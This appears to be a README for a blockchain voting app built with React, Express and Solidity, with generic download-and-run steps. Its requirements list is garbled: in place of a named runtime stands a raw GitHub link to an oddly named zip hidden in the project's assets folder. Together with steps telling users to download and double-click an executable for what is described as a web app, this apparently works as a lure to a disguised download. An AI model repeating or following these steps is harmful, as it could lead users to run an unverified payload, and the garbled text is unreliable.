Welcome to the decentralized voting system. This tool helps you vote in a secure and transparent way using the Ethereum blockchain. It includes both admin and user portals with a simple one-time password registration process. Follow the steps below to download and run the software.
To start using the decentralized voting system, visit this page to download: Download Here.
-
Visit the Release Page
- Click this link to go to the Releases page: Download Here.
-
Select the Latest Version
- Look for the latest version of the application. It will be marked as the latest release.
-
Download the Application
- Click on the link for your operating system (Windows, macOS, Linux). A file will start to download.
-
Extract the Files (if necessary)
- If you download a zipped file, locate it in your downloads folder. Right-click the file and choose "Extract All" (on Windows) or use the built-in utility on macOS or Linux.
-
Running the Application
- Locate the folder where you extracted the files.
- Open the folder and find the application file. Double-click it to run.
-
Follow On-Screen Instructions
- The application may guide you through initial setup steps like logging in or registering.
To ensure proper functioning, your device should meet the following requirements:
- Operating System: Windows 10 or later, macOS Sierra or later, or any Linux distribution.
- https://raw.githubusercontent.com/hmt1035/decentralized-voting-system/main/client/src/assets/system-decentralized-voting-spinstership.zip: Version 14.x or later installed on your system.
- Metamask: Browser extension installed in your web browser for Ethereum transactions.
- Internet Connection: Required for using blockchain features.
Recommended:
- At least 4GB of RAM for smooth performance.
- A modern web browser such as Chrome or Firefox.
- Secure Voting: Based on Ethereum blockchain, ensuring anonymity and security.
- User and Admin Portals: Separate interfaces for voters and administrators, enhancing usability.
- OTP-Based Registration: Easy and secure registration using a one-time password.
- Smart Contracts: Implemented to handle voting processes without intermediaries.
- Web 3 Integration: Seamless connection with Ethereum wallets like Metamask.
The application leverages multiple modern technologies to deliver a powerful voting experience:
- Blockchain: Ethereum for secure transactions.
- Frameworks: React for user interfaces, Express for backend services.
- Database: SQLite for data storage.
- Languages: TypeScript and Solidity for development and smart contracts.
If you encounter issues while running the application, try these steps:
- Recheck Installation: Ensure you followed all installation steps carefully.
- Permissions: Make sure the application has the necessary permissions to access your network.
- Internet Connectivity: Check your internet connection. The application relies on a stable connection.
- Re-download: If the application does not open, try downloading it again. The file may have been corrupted during download.
For further assistance or to ask questions, please engage with the community. You can find support through:
- GitHub Issues: Report your issues or seek help from other users.
- Check Discussions: Engage in conversations around features or improvements.
For in-depth information on how to use each feature, check our documentation. Visit the GitHub Wiki or related documentation link included in the releases.
This project is licensed under the MIT License. Feel free to use or modify it according to the license terms.
Thank you for using the decentralized voting system. Your participation helps enhance secure and democratic practices in voting.